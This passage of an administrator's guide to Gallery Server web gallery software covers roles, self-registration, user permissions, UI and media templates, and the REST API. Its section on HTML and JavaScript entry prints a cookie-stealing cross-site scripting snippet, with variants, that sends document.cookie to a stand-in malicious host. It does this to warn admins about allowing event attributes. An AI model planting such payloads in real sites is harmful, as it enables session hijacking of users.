Create a role by clicking Add new role… on the Manage Roles page.

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Specify the desired permissions and the albums the role applies to. Click Save to create the role.

Note: Assign users to a role on the Manage Users page.

Edit or delete a role

Click the role name to begin editing. Change the desired settings and click Save. To delete the role, click

Delete.

Understanding how roles apply to the album hierarchy

Role permissions automatically propagate to all child albums of the selected album. The top level

selected album(s) is considered to have explicitly assigned role permissions. Child albums are considered to

have inherited role permissions because they inherit the permission from a parent album.

Since permissions apply to all child albums of a selected album, notice that all child albums become

selected when you click an album. You cannot de-select individual child albums.

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Role behavior for new, moved or copied albums

Role permissions are assigned to the highest album you select, and child albums always inherit those

permissions. If a child album is added, moved, or copied, it automatically inherits the permissions of its new

parent album, and the previous permissions no longer apply.

When you move or copy an album that has a role explicitly assigned to it, that role stays with the album.

Self-registration

Gallery Server supports anonymous users creating accounts in the gallery. There are several

configuration options available such as requiring a valid e-mail address, setting the default security access

and more.

When self-registration is combined with user albums, a maintenance-free community gallery is possible

where visitors to your site each have their own gallery with no involvement required by administrators.

Setting up self-registration

The User Settings page contains configuration options for letting users create their own accounts:

Allow visitors to create accounts

This enables the self-registration feature. When checked, a create account link appears in the top right

of each page that takes the user to a registration wizard:

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When disabled, the Create account link is not shown and the only way to create a user is on the Manage

Users page.

Require e-mail validation to activate account

This option sends an e-mail to the user with a validation link that must be clicked before the user can log

on. Enable this feature to guarantee a valid e-mail address for each account.

The e-mail sent to the user looks similar to this:

Welcome to the gallery.

Before you can use your new account you must activate it - this ensures the e-mail

address you used is valid and belongs to you.

To activate your account, click the link below or copy and paste it into your

browser's location bar:

http://site.com/default.aspx?g=createaccount&verify=HFXEL%2BCR5OY%3D

Once you successfully activated your account, you can throw away this e-mail.

Thanks for joining.

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-- Gallery Server Administrator

The text of this e-mail can be changed by editing the appropriate text file in the directory \gs\templates\

of the web application.

Note: Be sure e-mail functionality is configured. This is done on the Site Settings page.

Note: When both e-mail validation and administrator approval are enabled, the user is first sent the

verification e-mail. After the user clicks the verification link, the administrator is sent an e-mail that the

user is waiting for approval.

Require administrator approval to activate account

When enabled, newly created users cannot log on until an administrator approves the account. To

receive e-mail notification when an account needs approval, specify one or more administrators in the User

Permissions section on the User Settings page, as seen here:

To receive an e-mail, the administrator must have a valid e-mail address and e-mail functionality must

be configured.

Use e-mail address for user name

The default is to allow a user to specify both a username and e-mail address, but you may want to

require everyone to use an e-mail address as their account name. This can simplify things for users and

administrators:

• Users need only remember one piece of information rather than two, and remembering their e-

mail address is often easier than remembering a username, especially if their first choice in

username is already taken.

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• Users can have their password e-mailed to them. This is not possible when an e-mail address is

optional.

When this option is enabled, the registration screen no longer requests a username:

An e-mail address that conforms to the expected format must be entered. For example, if a user enters

"Billy Joe", the message Not a valid e-mail appears. But the e-mail address "fake@fake.com" is allowed. To

force users to enter a valid e-mail address, enable the e-mail validation option discussed above.

User permissions

There are a number of permission-related settings an administrator can configure on the User Settings

page. These settings apply to all users in the current gallery.

Default roles

You can specify one or more roles that user accounts always belong to.

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For example, you might want all users in a role that provides read-only access to the entire site and/or

permission to upload items to a particular album.

Changing this setting immediately updates role membership for all user accounts. If user accounts are

created elsewhere (e.g. Active Directory), new users will be added to these roles the first time they log in or

when the maintenance routine runs, whichever is first.

You cannot select roles with site administration permission to help reduce the chance of locking yourself

and other admins out of the gallery if you later remove the role from this setting.

Note: If user albums are enabled, the user is automatically given full permission to his or her personal

album, even if no roles are specified here.

Note: This setting is disabled if you are a gallery administrator and the site administrator has

unchecked one or both of the options 'Allow gallery admins to manage users and roles' and 'Allow

gallery admins to view users/roles who do not have access to current gallery' on the Site Settings page.

New account notification

Specify one or more administrators to receive an e-mail notification when an account is created. This

applies to both administrator-created or self-registered accounts.

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To receive an e-mail, each user must have a valid e-mail address and e-mail functionality must be

configured.

If self-registration is enabled, the e-mail is not sent until the new account holder validates the account

from the verification e-mail.

Require everyone to log on

The default configuration allows users to anonymously browse the gallery, but they cannot modify

media assets. To require all users to log on, even to browse, disable the anonymous browsing setting.

Remember – a logged on user that doesn't belong to a role has no permission to view or edit objects.

Be sure to include each user in at least one role to provide the desired level of access.

Note: Gallery Server cannot be configured to give anonymous users edit permission. Any action other

than viewing requires that the user log in.

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Allow anonymous rating

Specifies whether anonymous users are allowed to give a rating to media assets. Disable this option to

require that users be logged on to be able to rate an asset.

When the rating metadata item is disabled on the Metadata Settings page, users are never allowed to

rate an asset, regardless of this setting.

HTML and JavaScript entry

You can control whether users are allowed to enter HTML and JavaScript in titles, captions, external

media assets (for example, embed code for a YouTube video), and other user-editable fields.

Note: Site and gallery administrators are always allowed to enter any HTML and JavaScript they

choose, regardless of this setting.

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Allow user-entered HTML

When HTML entry is enabled, Gallery Server evaluates HTML entered by a user against the allowed list

of tags and attributes. Any HTML that is not approved is automatically. For external media assets, the user is

alerted and the object is not added.

When HTML entry is disabled, HTML is not accepted in any user-editable field. This is the most secure

and reliable way to prevent malicious attacks such as cross-site scripting.

Note: Disabling HTML entry does not remove HTML from existing assets. It only affects future edits.

Allow user-entered JavaScript

This setting specifies whether JavaScript is allowed in user input. When enabled, a user may include

the string “javascript:” is removed from user input.

Note: To use <script> tags, you must also enable HTML content and specify the <script> HTML tag as an

allowed tag.

WARNING: It is recommended you leave this option disabled, or enable it temporarily, as turning it on

increases the risk of a cross-site scripting attack and other malicious attacks.

Security considerations for HTML and JavaScript

The default settings allow administrators to enter any HTML or JavaScript. Other users are limited to a

white-listed set of HTML tags and attributes and are prevented from entering any JavaScript. This is the

safest way to run your gallery, preventing common attack vectors such as script injection and cross site

scripting.

Use caution when adding HTML tags and attributes to the allowed lists, especially event attributes such

as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie

to a remote web site and is a common technique used in session hijacking attacks to impersonate another

user:

<p onclick="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>

In a default installation, this text cannot be entered by non-administrators anywhere in the gallery

because it contains the onclick attribute which is not in the list of allowed HTML attributes. However, if you

add onclick to the list, this text can be entered, even if you have the JavaScript entry disabled.

This is because JavaScript is very difficult to accurately detect. For example, when JavaScript entry is

disabled, the attack code above still works (the one using the onclick attribute). That’s because the

JavaScript setting only looks for the presence of the <script> tag and the string "javascript:", and neither of

these are present in the HTML example. Sure, Gallery Server could search for document.cookie, but if it does

that it needs to search for all the possible javascript statements, which is cumbersome and error-prone.

Note that the following sample does not work and is therefore not a security risk:

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<a href="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>

Even though the a tag and href attribute are in the list of allowed HTML, hyperlinks require the use of

the string "javascript:" like this:

<a href="javascript:document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click

me</a>

All of the allowed attributes in a default Gallery Server installation require the use of the string

"javascript:", so as long as you are restricting JavaScript input, you are protected.

Allow users to copy read-only objects

This setting indicates whether to allow the copying of assets a user has only view permissions for. In a

community gallery scenario, disabling this option can help prevent users from copying other users' items

into their own album.

When disabled, a user must be able to write to an album in order to copy assets from it. When enabled,

a user can copy assets from any album for which they have view permission.

Allow users to manage their own account

When enabled, a link to the user's account page appears at the top right of every page. This page allows

a user to change their password, update their e-mail address, enter a description, delete their saved

preferences, disable their personal user album (if user albums are enabled), and delete their account.

Disable this option to prevent a user from making these changes.

An administrator can always change these settings, even when this setting is disabled, through the

Manage Users page.

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Note: The page header must be visible for the manage account link to be visible. This is the ‘Show

header’ option that is found on the Gallery Settings and Gallery Control Settings pages.

Allow users to delete their account

When enabled, an option to delete the account is made available on each user's account page. This

setting is typically enabled in community gallery scenarios where users are creating their own accounts.

Warning: If user albums are enabled and a user deletes their account, the contents of the user's

personal album are also deleted.

8. Site Administration

User Settings

The User Settings page is described in these sections:

• Self-registration

• User permissions

• User albums

Users

See the Users section for more information.

Roles

See the Roles section for more information.

Media Queue

The Media Queue page displays the status of the media queue processor. The processor runs on a

background thread performing time-intensive operations such as video transcoding and image processing. It

also lets you cancel a pending or current operation, review the details of a completed task, or remove it.

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When the media queue processor is running, the Media Queue page automatically updates in real-time

to show the current status.

Completed items older than 180 days are automatically removed.

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UI Templates

Overview

UI templates are a powerful feature that lets you modify the user interface using only HTML and

JavaScript skills. For example, here are a few things you can do with UI templates:

• Add your company logo to the header

• Add an image preview when hovering over a thumbnail

• Add links in the album tree to common tags

• Show the five most recently added items at the top of an album

We’ll look at how to do all these examples – and a few more – later in this section. But first let’s get the

basics down. There are five sections in the gallery that are built from UI templates:

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These two screen shots show the five templates: header, left pane, right pane, album, and media object.

The center pane displays either the album or media object template, depending on whether the user is

looking at an album or an individual media asset.

What is NOT built from UI templates?

The main browsing interface is built from templates, but it is important to understand what

parts are not:

Add media & Sync pages – These two pages are custom ASCX user controls.

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JavaScript UI components – Much of the UI is created from JavaScript components that are

invoked from the JavaScript in a UI template. For example, the tag cloud is generated by a

jQuery plugin invoked from the left pane UI template script.

Site admin area – None of the pages on the Admin and Settings ribbon tabs are built from

UI templates. They are ASCX user controls.

Each section shown above is rendered from a UI template. A UI template consists of a chunk of HTML

containing jsRender syntax and some JavaScript that tells the browser what to do with the HTML. Typically,

the script invokes the jsRender template engine and appends the generated HTML to the page. A robust set

of gallery data is available on the client that gives you access to important information such as the album

and media asset data, user permissions, and gallery settings. We’ll get into the structure of this data later.

Note: GitHub hosts the jsRender project, where you can learn more about this excellent JavaScript

templating engine.

You can view the UI template definitions on the UI Templates page in the site admin area. In these two

images you can see the HTML and JavaScript values:

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You can assign which albums this particular template applies to on the Target Albums tab. If multiple

templates target the same album, the most specific one wins. For example, if the default template is

assigned to ‘All albums’ and a second template is assigned to the Samples album, the second template will

be used for the Samples album and any of its children because that template definition is ‘closer’ to the

album.

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The preview tab lets you see the result of any edits you make before saving the changes.

Anatomy of the left pane

Let’s take a close look at how one of the templates works. We’ll choose the left pane template. The

HTML looks like this:

{{if App.LatestUrl}}<p class='gsp_lplatest'><a href='{{:App.LatestUrl}}' class='jstree-anchor'><i class='jstree-

icon'></i>{{:Resource.LpRecent}}</a></p>{{/if}}

{{if App.TopRatedUrl}}<p class='gsp_lptoprated'><a href='{{:App.TopRatedUrl}}' class='jstree-anchor'><i

class='jstree-icon'></i>{{:Resource.LpTopRated}}</a></p>{{/if}}

<p class='gsp_msgfriendly gsp_addtopmargin10 gsp_addleftmargin4'>{{:Resource.LpTags}}</p>

<p class='gsp_msgfriendly gsp_addtopmargin10 gsp_addleftmargin4'>{{:Resource.LpPeople}}</p>

This HTML provides the structure to hold the five parts of the left pane: the album tree, recently added

hyperlink, top rated hyperlink, tag cloud, and people cloud. To keep things simple for now, let’s just look at

the first tag:

It defines a single, empty div tag and gives it a unique ID. The text between the double braces is

jsRender syntax that refers to the ClientId property of the Settings object. This particular property contains a

string that is unique to the current instance of the Gallery user control on the page. When it is rendered on

the page you end up with HTML similar to this:

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Note: Defining a unique ID is not required for most galleries, but it is there for admins who want to

include two instances of the gallery control on a page. For example, you might have a slideshow

running in one part of a web page and a video playing in another.

Astute observers will notice that a single div tag doesn’t look anything like the dynamic, interactive

album tree. So how does that div tag eventually become the tree? Let’s look at the JavaScript that is part of

the left pane template:

var $lp = $('#{{:Settings.LeftPaneClientId}}');

if ($lp.length > 0) {

$lp.html( $.render [ '{{:Settings.LeftPaneTmplName}}' ]( Gs.Vars['{{:Settings.ClientId}}'].gsData ));

var options = {

albumIdsToSelect: [{{:Album.Id}}],

{{if Settings.AllowUrlOverride}}navigateUrl: '{{:App.CurrentPageUrl}}',{{/if}}

containerClientId: '{{:Settings.LeftPaneClientId}}'

};

// Call the gsTreeView plug-in, which adds an album treeview

$('#{{:Settings.ClientId}}_lptv').gsTreeView(Gs.Vars['{{:Settings.ClientId}}'].gsAlbumTreeData, options);

}

var appUrl = Gs.Vars['{{:Settings.ClientId}}'].gsData.App.AppUrl;

var galleryId = Gs.Vars['{{:Settings.ClientId}}'].gsData.Album.GalleryId;

var tagCloudOptions = {

clientId: '{{:Settings.ClientId}}',

tagCloudType: 'tag',

tagCloudUrl: appUrl + '/api/meta/tags?q=&galleryId=' + galleryId + '&top=20&sortBy=count&sortAscending=false'

}

The query string parameters in the tagCloudUrl define the appearance of the tag cloud. For example,

one can configure the tag cloud to show the top 30 tags instead of the top 20 by changing top=20 to top=30.

The API Documentation section discusses the server functions that are available.

Debugging JavaScript

The JavaScript in a UI template typically invokes other, more complex JavaScript stored in files, where

they are minified and cached by the browser. This gives excellent performance, but can be tough to debug.

You can switch to debug versions of JavaScript files by setting the debug attribute to “true” in the

web.config file stored in the root of the gallery web application.

Use this trick, along with the debugging tools built into your browser, to step through JavaScript as it

executes in your gallery.

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If you are working with Gallery Server’s source code, be aware that most of the custom JavaScript is

contained in a TypeScript file named gallery.ts. You’ll want to edit that file rather than the generated

gallery.js file. Bundling and minification is handled with the Bundler & Minifier Visual Studio extension.

Client data model

Each page contains a rich set of data that is included with the browser request. A global JavaScript

variable named gsData exists that is scoped to the current gallery user control instance. In a default

installation, you can find it at Vars[‘gsp_g’].gsData, as seen in this image from Chrome:

Let’s take a brief look at each top-level property:

ActiveGalleryItems – An array of GalleryItem instances that are currently selected. A gallery item can

represent an album or media asset (photo, video, audio, document, YouTube snippet, etc.)

ActiveMetaItems – An array of MetaItem instances describing the currently selected item(s).

Album – Information about the current album. It has two important properties worth explaining:

GalleryItems and MediaItems. Both albums and media assets, but a GalleryItem instance contains only basic

information about each item while a MediaItem instance contains all the metadata and other details about

an item. Because a GalleryItem instance is lightweight, it is well suited for album thumbnail views where you

only need basic information. Therefore, to optimize the data passed to the browser, the MediaItems

property is null when viewing an album and the GalleryItems property is null when viewing a single media

asset.

App – Information about application-wide settings, such as the skin path and current URL.

MediaItem – Detailed information about the current media asset. It has a value only when viewing a

single media asset.

Resource – Contains language resources.

Settings – Contains gallery-specific settings.

User – Information about the current user.

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Here is a complete list of client objects and their properties:

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Full documentation can be found in the GalleryServerPro.Web.Entity API documentation, but let’s go

over the most important ones or ones that might be confusing.

Album.SortById – An integer that indicates which metadata field the album is sorted by. It maps to the

enumeration values of MetadataItemName. The ID values are listed in the table on the Metadata Settings

page.

Album.VirtualType – An integer that indicates the type of the current album. It maps to the

enumeration values of VirtualAlbumType (NotSpecified=0, NotVirtual=1, Root=2, Tag=3, People=4,

Search=5)

MediaItem.Index - The one-based index of this media asset among the others in the containing album.

MediaItem.Views and GalleryItem.Views – The Views property is an array of DisplayObject instances.

Each DisplayObject represents a thumbnail, optimized, or original view of a media asset or album.

MediaItem.ViewIndex and GalleryItem.ViewIndex – The zero-based index of the view currently being

rendered in the browser. This value can be used to access the matching view in the Views property. The

thumbnail is always at index 0.

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DisplayObject.HtmlOutput – The HTML for the display object. For thumbnails this is a <img> tag; the

optimized/original HTML is generated from the media template defined for this MIME type on the Media

Templates page.

DisplayObject.ScriptOutput – The JavaScript to execute to help render the display object. For example,

it may contain the script necessary to initialize and run FlowPlayer for a Flash video. This property is

populated from the script defined for this MIME type on the Media Templates page. It’s usually empty

except when necessary to initialize plugins such as Flash and Silverlight.

DisplayObject.Url – An URL that links directly to the media asset file. For example, this value can be

assigned to the src attribute of an img, video, or audio tag.

DisplayObject.ViewSize – This is an integer that maps to the enumeration values of DisplayObjectType

(Unknown=0, Thumbnail=1, Optimized=2, Original=3, External=4).

DisplayObject.ViewType – An integer that maps to the enumeration values of MimeTypeCategory

(NotSet=0, Other=1, Image=2, Video=3, Audio=4). For example, imagine a video MediaItem or GalleryItem.

The Views property will have two or three DisplayObject instances (three if a web-optimized version has

been created; otherwise two). The DisplayObject instance having ViewSize=1 represents the thumbnail

image, so you can expect the ViewType to be 2 (image). But the remaining DisplayObject instances will have

ViewType=3 (video).

MetaItem.GTypeId – Indicates the kind of gallery object the meta item describes. It is an integer that

maps to the GalleryObjectType enumeration (None=0, All=1, MediaObject=2, Album=3, Image=4, Audio=5,

Video=6, Generic=7, External=8, Unknown=9). Typically, the client will never have the values of None (0), All

(1), MediaObject (2), or Unknown (9).

The default UI templates use this data model, so they are an excellent place to look for examples of how

to do things. It can be a little tricky, though, because much of the data access is done within the jQuery plug-

ins.

API Documentation

There are a number of server-side functions you can call with HTTP and JavaScript to support complex

requirements. Below is a brief overview. In addition, the documentation for the GalleryServerPro.Web.Api

namespace contains additional information.

HTTP

Method

URL

Description

ALBUMS

GET

/api/albums/{AlbumId}/inflated

Returns a GalleryData instance. Album.GalleryItems

will be populated; Album.MediaItems will be null.

Optional parms: top (int), skip (int) Can be used for

paged results.

Example:

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api/albums/22/inflated/?top=5&skip=5 returns the 6th

– 10th gallery items in album 22.

GET

/api/albums/{AlbumId}/galleryitems

Returns an array of GalleryItem instances representing

the albums and media assets in the album. Optional

parms: sortByMetaNameId (int), sortAscending (bool)

Can be used to return items in the album in a custom

sort.

Example:

/api/albums/22/galleryitems/?sortByMetaNameId=111

&sortAscending=false returns the items in album 22

sorted in descending order on the DateAdded metadata

property.

GET

/api/albums/{AlbumId}/mediaitems

Returns an array of MediaItem instances representing

the albums and media assets in the album. Optional

parms: sortByMetaNameId (int), sortAscending (bool)

Can be used to return items in the album in a custom

sort.

GET

/api/albums/{AlbumId}/meta

Returns an array of MetaItem instances representing

the metadata for the album. Optional parms: none

POST

/api/albums

Updates a limited set of properties for the album:

SortById, SortAscending, IsPrivate

DELETE

/api/albums/{AlbumId}

Deletes the specified album, including the media files

and directory.

MEDIA

GET

api/mediaitems/{MediaObjectId}/inflated

Returns a GalleryData instance. The MediaItem

property contains data for the specified media item.

The Album.MediaItems property contains data for the

remaining items in the album. Album.GalleryItems is

null.

GET

api/mediaitems/{MediaObjectId}/meta

Returns an array of MetaItem instances belonging to

the specified media asset.

POST

/api/mediaitems/createfromfile

Adds a media file to an album. Prior to calling this

method, the file should exist in App_Data\_Temp.

Requires an instance of AddMediaObjectSettings to be

POSTed. See example usage in

gs\pages\task\addobjects.ascx.

DELETE

/api/mediaitems/{MediaObjectId}

Permanently deletes the media asset from the file

system and data store.

META ITEMS

GET

/api/meta/tags/?galleryId={GalleryId}

Gets an array of Tag instances containing all tags used

in the specified gallery. Optional parms: q (string)

Specifies a search string to filter the tags by.

Example:

/api/meta/tags/?galleryId=1&q=bob returns all tags

with the text bob in them.

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GET

/api/meta/people/?galleryId={GalleryId}

Gets an array of Tag instances containing all people

tagged in the specified gallery. Optional parms: q

(string) Specifies a search string to filter the tags by.

Example:

/api/meta/tags/?galleryId=1&q=bob returns all tags

with the text bob in them

POST

/api/meta/rebuildmetaitem?metaNameId={

MetaNameId}&galleryId={GalleryId}

Rebuild the data entries for the specified meta property

for all media items in the gallery.

PUT

/api/meta/

Persists the POSTed MetaItem instance to the

database.

SYNCHRONIZATION

GET

/api/task/startsync/?albumId={AlbumId}&i

sRecursive={true|false}&rebuildThumbnail

s={true|false}&rebuildOptimized={true|fal

se}&password={Password}

Begin a synchronization. Requires enabling the remote

sync option on the Admin page in the Site admin area.

GET

/api/task/statussync/?id={GalleryId}

Gets the status of the synchronization. Requires an

HTTP header variable named X-ServerTask-TaskId to

be set to the sync task ID. See example in

gs/pages/task/synchronize.ascx

GET

/api/task/abortsync/?id={GalleryId}

Cancels a synchronization. Requires an HTTP header

variable named X-ServerTask-TaskId to be set to the

sync task ID. See example in

gs/pages/task/synchronize.ascx

POST

/api/task/startsync/

Begins a synchronization. Requires an instance of

SyncOptions to be POSTed and an HTTP header

variable named X-ServerTask-TaskId to be assigned a

value. The sync page uses this method to start a sync.

MISCELLANEOUS

GET

/api/task/purgecache/

Purges the cache on the web server. The next HTTP

request will retrieve data from the database.

POST

/api/task/logoff/

Logs off the current user

Examples

Below are several examples for editing a UI template. The first one steps you through the process from

beginning to end, so start with that one to get a feel for the process.

Add your company logo to the header

Let’s say we want to replace the gallery title at the top of the page with a business logo, like this:

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Go to the UI Templates page and choose Header from the gallery item dropdown. We can’t edit the

default template, so select Copy as new, enter a name, then click Save:

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On the HTML tab, scroll down until you find the place where the title is rendered:

{{if Settings.TitleUrl}}<a title='{{:Settings.TitleUrlTt}}'

href='{{:Settings.TitleUrl}}'>{{:Settings.Title}}</a>{{else}}{{:Settings.Title}}{{/if}}</p>

Replace this section with an img tag that points to your logo and save:

Click the save button. The logo now appears in the top left corner as shown in the image shown earlier.

Show username or login link

This example displays a welcome message if the user is logged in or a login link if not. No JavaScript is

needed.

<p>{{if User.IsAuthenticated}}

Welcome, {{:User.UserName}}

</p>

Check permission

This example determines whether the current user has permission to delete media assets in the current

album.

<p>You {{if !Album.Permissions.DeleteMediaObject}}do not{{/if}} have permission to delete media

assets in the album '{{:Album.Title}}'.</p>

Show number of albums and media assets

This example shows the number of albums and media assets in an album.

<p>This album contains {{:Album.NumAlbums}} child albums and {{:Album.NumMediaItems}} media assets

({{:Album.NumGalleryItems}} total).</p>

Show bulleted list of albums and media assets

This example shows a bulleted list of albums and media assets. Each item is rendered in a hyperlink.

<ul>

<li>

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<a href='{{: ~getGalleryItemUrl(#data) }}'>{{:Title}} ({{getItemTypeDesc:ItemType}})</a>

</li>

</ul>

This example shows a few interesting things:

• for loop – The template loops through each gallery item of the album. Inside the loop the data

context changes to that of the GalleryItem instance. For example, the {{:Title}} refers to the title of

the gallery item being iterated on.

• getGalleryItemUrl – The call to getGalleryItemUrl is a jsRender helper function defined in gallery.ts.

Helper functions are useful when you need some JavaScript to figure out how to render something,

like here to help calculate the URL to the album or media asset. You can define your own helper

function in the Gs.Utils.Init function of gallery.ts.

• #data – A reference to the currently scoped data instance is passed to getGalleryItemUrl. In this

example it is an instance of GalleryItem. You can refer to parent data items with the parent

keyword. For example, using {{:#parent.parent.data.Album.Title}} from inside the GalleryItems loop

gets the current album title by navigating up to the root data structure and then back down to the

current Album title.

• jsRender converter – The string {{getItemTypeDesc:ItemType}} says to run the ItemType property

through a jsRender converter named getItemTypeDesc. A converter takes a property as input and

alters it in some way. For example, you might want to do this to format a date/time value. The

converter in this example converts an integer to a description such as Image, Album, etc. It is

defined in gallery.ts and, as with helper functions, you can define you own.

Note: This example requires that the GalleryItems property of the Album is populated. We discussed

earlier that this property will have a value when viewing an album but is null when viewing an

individual media asset. To get this to work when a single media asset is visible, change GalleryItems to

MediaItems in the template.

Add an image preview when hovering over a thumbnail

When you hover over a thumbnail image, a larger version of the image appears in a popup that

disappears automatically when you move the cursor away:

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This example requires adding to both the HTML and JavaScript album UI template. Open the album UI

template and insert this HTML as the first line in the HTML tab:

Then add this JavaScript to the end of the script in the JavaScript tab:

$('#pvw').dialog({

appendTo: $('.gsp_floatcontainer'),

autoOpen: false,

position: { my: "left top", at: "left center" }

});

$('.thmb[data-it=' + Gs.Enums.ItemType.Image + '] .gsp_thmb_img').hover(

function () {

$('#imgpvw').prop('src', this.src.replace('dt=1', 'dt=2'));

$('#pvw').dialog("option", "width", 425)

.dialog( "option", "position", { my: "left+30 top+20", at: "right bottom", of: $(this)} )

.dialog('open');

}

);

$('.gsp_floatcontainer', $('#{{:Settings.ClientId}}')).mouseleave(function() {

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$('#pvw').dialog('close');

});

It works by opening a jQuery UI dialog window on the hover event of the thumbnail image.

Add links in the treeview to custom tags

Enhance the left pane by adding some links to custom tags or people in your gallery:

This is easily accomplished by adding the following to the end of the HTML text for the left pane UI

template:

<p><a href='{{:App.CurrentPageUrl}}?tag=Party'>Party</a></p>

<p><a href='{{:App.CurrentPageUrl}}?tag=Vacation'>Vacation</a></p>

<p><a href='{{:App.CurrentPageUrl}}?tag=Family'>Family</a></p>

</div>

<p style='color:#B2D6A2;' class='gsp_addtopmargin5 gsp_addleftmargin4'>PEOPLE</p>

<p><a href='{{:App.CurrentPageUrl}}?people=Roger%20Martin%2bMargaret'>Roger & Margaret</a></p>

<p><a href='{{:App.CurrentPageUrl}}?people=Margaret'>Margaret</a></p>

<p><a href='{{:App.CurrentPageUrl}}?people=Skyler'>Skyler</a></p>

</div>

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When creating the hyperlink, notice spaces are encoded with %20 (e.g. Roger%20Martin). To create a

link for multiple tags, separate them with %2b (an encoded + sign). The gallery does not support searching

for both tags and people at the same time.

Media Templates

Overview

Rendering JPG images in a browser is straightforward because all browsers use the same syntax based

on the <img> HTML tag. But video, audio, and other file types have different levels of support in various

browsers and within different versions of the same browser. For example, some browsers can natively play

H.264 MP4 video while others require a plug-in such as Flash or Silverlight.

Gallery Server solves this problem with a set of media templates that can deliver the correct HTML and

JavaScript for individual browsers or even versions of browsers. A default set of templates are included that

will work well for most users, but some organizations may require different behavior. Or, when a new

browser version is released, its support for a particular media type may change, requiring a change in the

HTML syntax that is used.

The media templates page lets one manage the rendering behavior of different media types.

The above screen shot shows the media template used for the ‘default’ browser when rendering a

media file having MIME type video/mp4. Notice it specifies the HTML5 <video> tag. When MP4 videos are

viewed in most browsers, the HTML is based on this template, as seen here in Safari:

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The Browser ID dropdown allows one to view media templates for other browsers. For example, the

MP4 templates includes two additional templates to support IE 1-8 and Opera, which do not support the

HTML5 video tag:

Notice the HTML template for IE 1-8 and Opera are identical and consists of a hyperlink tag. This defines

the HTML for using FlowPlayer, which uses the Flash plug-in to render the video. FlowPlayer requires some

JavaScript to initialize it, which you can see when you click the JavaScript tab:

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When an MP4 video is viewed in IE 1-8 or Opera, it gets HTML and JavaScript based on the

corresponding template, as seen in this screen shot from Opera:

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Through the use of custom media templates for individual browsers, Gallery Server can provide targeted

behavior without requiring complicated HTML containing fallback code and other tricks.

Note: File extensions are mapped to MIME types on the File Types page on the Settings ribbon tab. See

the File Types section for more information.

Edit a media template

Let’s look at an example based on a scenario that might actually happen. The Chrome browser supports

H.264 MP4 videos using the HTML5 <video> tag, but Google has said that it will eventually drop native

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support for MP4. If that happens, your MP4 videos will suddenly stop playing in Chrome. The fix will be to

add a template that uses FlowPlayer for Flash in Chrome, just like it is currently specified for IE 1-8 and

Opera browsers. To make this change, follow these steps.

1. Navigate to the Media Templates page and select the video/mp4 MIME type from the dropdown

list.

2. Select the IE 1-8 template from the Browser ID dropdown. Click Copy as new.

3. Enter ‘chrome’ in the Browser ID text box. Click save.

4. That’s it. When you view an MP4 video in Chrome, it now uses FlowPlayer for Flash.

But there’s a gotcha in this scenario. What we’ve just done is specified that Flash is required for all

Chrome browsers. But Chrome also runs on Android, which doesn’t support Flash. Indeed, if you navigate to

one of these videos on an Android device, they stop working.

We anticipated this situation, so we programmed a custom browser ID named ‘chromeandroid’ into

Gallery Server that lets you target Chrome on Android separate from other Chrome installations. Hopefully,

Chrome on Android will continue to support MP4 with the <video> element, so what we need to do is add

another template targeting this browser.

1. Navigate to the Media Templates page and select the video/mp4 MIME type from the dropdown

list.

2. Select the default template from the Browser ID dropdown. Click Copy as new.

3. Enter ‘chromeandroid’ in the Browser ID text box. Click save.

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4. You’ve now restored HTML5 behavior in Chrome on Android devices while other Chrome browsers

still use the Flash plug-in. And you’ve made all these changes without affecting other browsers like

IE and Firefox.

Browser ID reference

Below is the list of valid browser IDs that were current when .NET 4.0 was released in 2010.

The browser IDs are hierarchical, which means you can use one ID to match a subset of browsers. For

example, entering the browser ID “Opera” will match all versions of Opera, while entering “Opera8to9” will

match only Opera 8-9.

Since the chart above was created, Microsoft has released several updates to its browser definition files.

These files can be found in %SystemRoot%\Microsoft.NET\Framework\{version}\Config\Browsers.

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Side Note: Chrome Android

The chart does not show one supported browser ID: ChromeAndroid. That is because it isn’t included in

the default .NET browser definition file. Instead, Gallery Server programmatically adds it to make it available

if needed.

Template replacement parameters reference

The following is a list of all replacement parameters supported in the HTML and script of media

templates.

Name

Description

{MimeType}

The MIME type of the media asset. The MIME type is determined

from the file extension of the media asset. The mapping

between MIME types and file extensions is on the File Types

page. Example values: "video/x-flv", "image/jpeg"

{MediaObjectUrl}

The URL to the media asset. Example value: "http://yoursite.com

/gs/handler/getmedia.ashx?moid=5&dt=2&g=1"

{MediaObjectAbsoluteUrlNoHandler}

An URL that points directly to the media asset and bypasses the

HTTP handler. Example value:

/gallery/videos/birthdayvideo.wmv. The handler provides

security checking and watermarking, so only use this parameter

when necessary. For example, perhaps a video plug-in does not

work unless the file is directly referenced.

IMPORTANT: This parameter requires that the media assets

directory be within the Gallery Server web application directory.

By default, media assets are stored in the /gs/mediaobjects

directory within the application, so this requirement is satisfied

unless you change it. If objects are stored outside the web

application directory, use the

{MediaObjectRelativeUrlNoHandler} parameter.

{MediaObjectRelativeUrlNoHandler}

Provides an URL that is relative to the media assets directory and

which points directly to the media asset. Example value:

/videos/birthdayvideo.wmv). This parameter bypasses the HTTP

handler that normally streams media assets to the browser. The

handler provides security checking and watermarking, so only

use this parameter when necessary. For example, perhaps a

video plug-in does not work unless the file is directly referenced.

Typically this parameter is used instead of

{MediaObjectAbsoluteUrlNoHandler} when the media assets

directory is outside of the web application. The user must first

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configure the media assets directory as a virtual directory in IIS.

Then the path to this virtual directory must be manually entered

into one or more HTML templates in galleryserverpro.config, so

that it prepends the relative url returned from this method.

Example: If the media assets directory has been set to D:\media

and a virtual directory named gallery has been configured in IIS

that is accessible via http://yoursite.com/gallery, then the HTML

template might look like this:

href=”http://yoursite.com/gallery{MediaObjectRelativeUrlNoHa

ndler”>Click to open</a>

{Width}

The width, in pixels, of the media asset. Example value: 640, 480

{Height}

The height, in pixels, of the media asset. Example value: 640, 480

{Title}

The title of the media asset. May include HTML tags. Example

value: “Kayla sledding down the <a

href="http://www.bighill.com">hill</a>”

{TitleNoHtml}

The title of the media asset with HTML tags removed and

apostrophes and quotation marks are replaced with " and

'. Example value: "Kayla sledding down the hill"

{AutoStartMediaObjectText}

Returns the text "true" or "false" based on the value of the auto-

start setting on the Video & Audio Settings page.

{AutoStartMediaObjectInt}

Returns the text "1" or "0" based on the value of the auto-start

setting on the Video & Audio page. A true value is translated as

“1”; a false value is “0”.

{AutoPlay}

Returns the text "autoplay" or an empty string based on the

value of the auto-start setting on the Video & Audio Settings

page.

{GalleryPath}

